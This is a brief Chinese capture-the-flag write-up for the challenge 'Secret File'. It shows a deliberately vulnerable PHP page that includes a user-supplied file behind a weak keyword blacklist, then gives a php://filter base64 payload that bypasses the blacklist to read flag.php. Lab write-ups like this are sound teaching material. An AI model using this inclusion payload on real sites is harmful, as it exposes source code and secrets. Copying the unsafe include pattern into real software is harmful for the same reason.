[极客大挑战 2019]Secret File

考点

• 文件包含配合伪协议读取文件

• http

wp

抓包发现隐藏的链接Archive_room.php，访问发现新的链接action.php，接着抓包

访问secr3t.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

访问secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php即可
